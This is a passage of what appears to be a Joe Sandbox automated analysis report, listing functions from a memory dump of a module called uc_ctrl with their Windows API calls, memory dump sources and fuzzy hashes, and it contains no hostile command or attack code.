                                                                                                • Part of subcall function 6CFBFEA4: DeleteObject.GDI32(00000000), ref: 6CFBFF92
                                                                                                • Part of subcall function 6CFBFEA4: DeleteObject.GDI32(00000000), ref: 6CFBFFB0
                                                                                                • Part of subcall function 6CFBFEA4: DeleteObject.GDI32(00000000), ref: 6CFBFFCE
                                                                                                • Part of subcall function 6CFBFEA4: DeleteObject.GDI32(00000000), ref: 6CFBFFEC
                                                                                                • Part of subcall function 6CFBFB37: GetSystemMetrics.USER32(00000031), ref: 6CFBFB45
                                                                                                • Part of subcall function 6CFBFB37: GetSystemMetrics.USER32(00000032), ref: 6CFBFB53
                                                                                                • Part of subcall function 6CFBFB37: SetRectEmpty.USER32(?), ref: 6CFBFB66
                                                                                                • Part of subcall function 6CFBFB37: EnumDisplayMonitors.USER32(00000000,00000000,6CFBF9CB,?,?,00000000,6CFBFAF8), ref: 6CFBFB76
                                                                                                • Part of subcall function 6CFBFB37: SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 6CFBFB85
                                                                                                • Part of subcall function 6CFBFB37: SystemParametersInfoW.USER32(00001002,00000000,?,00000000), ref: 6CFBFBB2
                                                                                                • Part of subcall function 6CFBFB37: SystemParametersInfoW.USER32(00001012,00000000,?,00000000), ref: 6CFBFBC6
                                                                                                • Part of subcall function 6CFBFB37: SystemParametersInfoW.USER32 ref: 6CFBFBEC
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Color$DeleteObjectSystem$Info$Parameters$Metrics$CapsConditionDeviceMask$DisplayEmptyEnumH_prolog3H_prolog3_MonitorsRectVerifyVersion
                                                                                              • String ID:
                                                                                              • API String ID: 551326122-0
                                                                                              • Opcode ID: f5f107991e4f55ed76caba1b12728db8962b47c95728e15ef7cd47d32abe004f
                                                                                              • Instruction ID: 3c023f5ec2e9cd48ccb4886b485ee743fcca23f6364e75974f41ab909030725e
                                                                                              • Opcode Fuzzy Hash: f5f107991e4f55ed76caba1b12728db8962b47c95728e15ef7cd47d32abe004f
                                                                                              • Instruction Fuzzy Hash: 2311E3B0A00308ABEB259F71DC59FEFB7BCEB89704F00405EE64597280CBB44A048B91
                                                                                              Function 6CF8F1A9 Relevance: 6.1, APIs: 4, Instructions: 57COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • PathFindFileNameW.SHLWAPI(00000000,?,6CF8F2CF,?,?), ref: 6CF8F1B5
                                                                                              • _wcslen.LIBCMT ref: 6CF8F1C2
                                                                                              • SetErrorMode.KERNEL32(00000000,?,?,6CF89F33,?,00000000,6D0F3C34,00000000), ref: 6CF8F1F4
                                                                                              • SetErrorMode.KERNEL32(00000000,?,?,6CF89F33,?,00000000,6D0F3C34,00000000), ref: 6CF8F200
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ErrorMode$FileFindNamePath_wcslen
                                                                                              • String ID:
                                                                                              • API String ID: 2098504600-0
                                                                                              • Opcode ID: 0fe44728678d514f15d0bcc9d6017d14262e0eccf3f53430f1cd5cf393549df7
                                                                                              • Instruction ID: 5c7468e93d293df2d918fc99c2092606d3773b6329a2da12c0a3906995c7334b
                                                                                              • Opcode Fuzzy Hash: 0fe44728678d514f15d0bcc9d6017d14262e0eccf3f53430f1cd5cf393549df7
                                                                                              • Instruction Fuzzy Hash: 12118271406248AFDB40EF64D808B9E7BB9EF05369F218469F919C7B51CB31C552CBA2
                                                                                              Function 6CF8B9A1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62libraryCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • LoadLibraryExW.KERNEL32(?,00000000,00000060,?,?,?,?,?), ref: 6CF8BA24
                                                                                              • LoadLibraryExW.KERNEL32(?,00000000,00000002,?,?,?,?,?), ref: 6CF8BA38
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: LibraryLoad
                                                                                              • String ID: LOC
                                                                                              • API String ID: 1029625771-519433814
                                                                                              • Opcode ID: 3b8721a09a4ac1dd4d135961af47aaf9bfcc59ab4fe7220320860caedaf1c52c
                                                                                              • Instruction ID: bea94c36c6cedcc204074ee52dd1c9b91ebe60c3a44dfa86898b7e1870c0f26c
                                                                                              • Opcode Fuzzy Hash: 3b8721a09a4ac1dd4d135961af47aaf9bfcc59ab4fe7220320860caedaf1c52c
                                                                                              • Instruction Fuzzy Hash: BB113A32906208FBDB209FE89C84FED37B8DF05728F410575EA016B0A0EB349C458792
                                                                                              Function 6CF8B03C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetModuleFileNameW.KERNEL32(?,?,00000104), ref: 6CF8B060
                                                                                              • PathFindExtensionW.SHLWAPI(?), ref: 6CF8B076
                                                                                                • Part of subcall function 6CF8A6A6: __EH_prolog3_GS.LIBCMT ref: 6CF8A6B0
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ExtensionFileFindH_prolog3_ModuleNamePath
                                                                                              • String ID: %Ts%Ts.dll
                                                                                              • API String ID: 3433622546-1896370695
                                                                                              • Opcode ID: 3d716db2292905fa21142d1cf07c2efa0509a322448906b0e0fef6d43f6478eb
                                                                                              • Instruction ID: 843d638d2c7b0d18bb98a30bb1e167ae29c386743773e92d37c36cbec19679ff
                                                                                              • Opcode Fuzzy Hash: 3d716db2292905fa21142d1cf07c2efa0509a322448906b0e0fef6d43f6478eb
                                                                                              • Instruction Fuzzy Hash: 0101AD32902008ABDB11EBA4ED49BEF77FCEF09310F1104AAE815D7140EB31EA09CB91
                                                                                              Function 6CF89840 Relevance: 4.6, APIs: 3, Instructions: 125COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 6CF8999B
                                                                                              • char_traits.LIBCPMTD ref: 6CF899AE
                                                                                              • construct.LIBCPMTD ref: 6CF899E2
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Base::Concurrency::details::ContextIdentityQueueWorkchar_traitsconstruct
                                                                                              • String ID:
                                                                                              • API String ID: 4230972912-0
                                                                                              • Opcode ID: 23701e1243a0771d743eaf1d5106f09d48d6dd0a328aec10af75c17834296201
                                                                                              • Instruction ID: 3b7d38e2b3a56d5c395ab6d0e1165d4c5237ce943e235591ef89fca169ac3080
                                                                                              • Opcode Fuzzy Hash: 23701e1243a0771d743eaf1d5106f09d48d6dd0a328aec10af75c17834296201
                                                                                              • Instruction Fuzzy Hash: 7F41F8B1E011099FCB04DFA8C991AAFB7B5EF84719F604129D516BBB90DF346E04CBA1
                                                                                              Function 6CF893B0 Relevance: 4.5, APIs: 3, Instructions: 48COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                                • Part of subcall function 6CF895D0: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 6CF895E1
                                                                                                • Part of subcall function 6CF895D0: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 6CF895EE
                                                                                              • Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 6CF893D1
                                                                                              • Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 6CF8940A
                                                                                              • char_traits.LIBCPMTD ref: 6CF89410
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Base::Concurrency::details::ContextIdentityQueueWork$char_traits
                                                                                              • String ID:
                                                                                              • API String ID: 1941806930-0
                                                                                              • Opcode ID: 80903ebca7ae45cdb54d9c9dadc414104bd5c0ddabceec0f29885cd9b4a5db67
                                                                                              • Instruction ID: d670dafb4e2de7f54aad502bcf0ca2da0b2a4ef7053fccf73045ddcc04da9dc6
                                                                                              • Opcode Fuzzy Hash: 80903ebca7ae45cdb54d9c9dadc414104bd5c0ddabceec0f29885cd9b4a5db67
                                                                                              • Instruction Fuzzy Hash: 1001A975606108BBCB08DF99D9A1DAE73B9AF88314F208158B90A9B750DF31AF04DB90
                                                                                              Function 6D0D39A8 Relevance: 3.8, APIs: 3, Instructions: 53COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetLastError.KERNEL32(00000001,?,?,6D0C6FFF,6D0D34C4,?,?,6CF8A014,?,00000001,?,?,6CF70D34,?), ref: 6D0D39AD
                                                                                              • SetLastError.KERNEL32(00000000,?), ref: 6D0D3A16
                                                                                              • SetLastError.KERNEL32(00000000,?), ref: 6D0D3A1F
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ErrorLast
                                                                                              • String ID:
                                                                                              • API String ID: 1452528299-0
                                                                                              • Opcode ID: 7d6290539d24b6e19342ebfe47aa5918d8ec32175dddc8292fe205fca9a15211
                                                                                              • Instruction ID: c52dc9eb457d4db1657e02c0d89e2eb89eef79a4669f66b44137a7c6493cc6a8
                                                                                              • Opcode Fuzzy Hash: 7d6290539d24b6e19342ebfe47aa5918d8ec32175dddc8292fe205fca9a15211
                                                                                              • Instruction Fuzzy Hash: B501D67620970177B3C3A7795C44F5B2679ABCE675B214027FA14A3181EFB5C8024021
                                                                                              Function 6CF8A6A6 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 59COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CF8A6B0
                                                                                                • Part of subcall function 6CF8A0EB: __EH_prolog3.LIBCMT ref: 6CF8A0F2
                                                                                                • Part of subcall function 6CF91A46: GetModuleHandleW.KERNEL32(kernel32.dll,?,?), ref: 6CF91A79
                                                                                                • Part of subcall function 6CF91A46: GetProcAddress.KERNEL32(00000000,GetThreadPreferredUILanguages), ref: 6CF91A89
                                                                                                • Part of subcall function 6CF91A46: EncodePointer.KERNEL32(00000000,?,?), ref: 6CF91A92
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: AddressEncodeH_prolog3H_prolog3_HandleModulePointerProc
                                                                                              • String ID: y
                                                                                              • API String ID: 2515442129-4225443349
                                                                                              • Opcode ID: 14866fc2ed4ec78c6956b5f68318485cf532e60735e8ee61140877dcd456ac0f
                                                                                              • Instruction ID: bcb15c544f18801fbf0d0d9b589e1552e57d22d5a37c2a0b31d8b758a64df8ab
                                                                                              • Opcode Fuzzy Hash: 14866fc2ed4ec78c6956b5f68318485cf532e60735e8ee61140877dcd456ac0f
                                                                                              • Instruction Fuzzy Hash: A6214A32C051289BEF219B64CD40BDDB3B8AF15318F0042D5EA84A62C0DBB49EC8DF92
                                                                                              Function 6CF70E60 Relevance: 3.1, APIs: 2, Instructions: 59COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • Concurrency::cancel_current_task.LIBCPMT ref: 6CF70E88
                                                                                              • Concurrency::cancel_current_task.LIBCPMT ref: 6CF70EB9
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Concurrency::cancel_current_task
                                                                                              • String ID:
                                                                                              • API String ID: 118556049-0
                                                                                              • Opcode ID: 242e8afaebc724ed77025805ba762ca639555398dc95c39e4c706d9f0deb9e22
                                                                                              • Instruction ID: a108b58fde3e98b1b5bed348196b5a3c820fe5887656be92570bdabde24d3b1a
                                                                                              • Opcode Fuzzy Hash: 242e8afaebc724ed77025805ba762ca639555398dc95c39e4c706d9f0deb9e22
                                                                                              • Instruction Fuzzy Hash: B0211A70D0514CEBDB24DFA9D580BDDBBB1EF44308F1086AAE8155B684D7B1AB84CB91
                                                                                              Function 6CF8EA42 Relevance: 3.0, APIs: 2, Instructions: 48COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                                • Part of subcall function 6CF8FB34: LeaveCriticalSection.KERNEL32(?,?,?,00000000,?,6CF9063F,00000000,?,?,6CF6F6D7,6D1C244C), ref: 6CF8FB48
                                                                                              • __CxxThrowException@8.LIBVCRUNTIME ref: 6CF8EA4D
                                                                                                • Part of subcall function 6D0C6276: RaiseException.KERNEL32(?,?,?,00000001,00000000,?,00000000), ref: 6D0C62D5
                                                                                              • __EH_prolog3.LIBCMT ref: 6CF8EA5A
                                                                                                • Part of subcall function 6CF8FBA5: __CxxThrowException@8.LIBVCRUNTIME ref: 6CF8FBB9
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Exception@8Throw$CriticalExceptionH_prolog3LeaveRaiseSection
                                                                                              • String ID:
                                                                                              • API String ID: 1434208454-0
                                                                                              • Opcode ID: af5458a5dc94a0c120d7f13750a5b0655d31beba4964087f51946347436a5b29
                                                                                              • Instruction ID: d1a813a337e8dd1d8d6a5ce7738f2a85f3169a7670b0149f1c7034c6660a9fd4
                                                                                              • Opcode Fuzzy Hash: af5458a5dc94a0c120d7f13750a5b0655d31beba4964087f51946347436a5b29
                                                                                              • Instruction Fuzzy Hash: 40019638A062059BEF149F71C414B6C3A71EF41B59F101529E5918BBD0EFB8C941CB96
                                                                                              Function 6CF8B8FE Relevance: 3.0, APIs: 2, Instructions: 39libraryCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • LoadLibraryExW.KERNEL32(?,?,00000060), ref: 6CF8B939
                                                                                              • LoadLibraryExW.KERNEL32(?,?,00000002,?,00000060), ref: 6CF8B94D
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: LibraryLoad
                                                                                              • String ID:
                                                                                              • API String ID: 1029625771-0
                                                                                              • Opcode ID: b4d0d88db0bcc11654b6da51d0c71568fcbe6c740ec72ef288fbffa1a60f92c2
                                                                                              • Instruction ID: c4a008390fe91367b925852322846f5731da6b67031462fefad55eb979892956
                                                                                              • Opcode Fuzzy Hash: b4d0d88db0bcc11654b6da51d0c71568fcbe6c740ec72ef288fbffa1a60f92c2
                                                                                              • Instruction Fuzzy Hash: 8EF02B33D4A1059BDF20ABB88C84BAD33B8AB06328F4109B5D61597490EB350A459653
                                                                                              Function 6CF8F1EE Relevance: 3.0, APIs: 2, Instructions: 31COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • SetErrorMode.KERNEL32(00000000,?,?,6CF89F33,?,00000000,6D0F3C34,00000000), ref: 6CF8F1F4
                                                                                              • SetErrorMode.KERNEL32(00000000,?,?,6CF89F33,?,00000000,6D0F3C34,00000000), ref: 6CF8F200
                                                                                                • Part of subcall function 6CF8F24C: GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,?), ref: 6CF8F287
                                                                                                • Part of subcall function 6CF8F24C: PathFindExtensionW.SHLWAPI(?), ref: 6CF8F2A1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
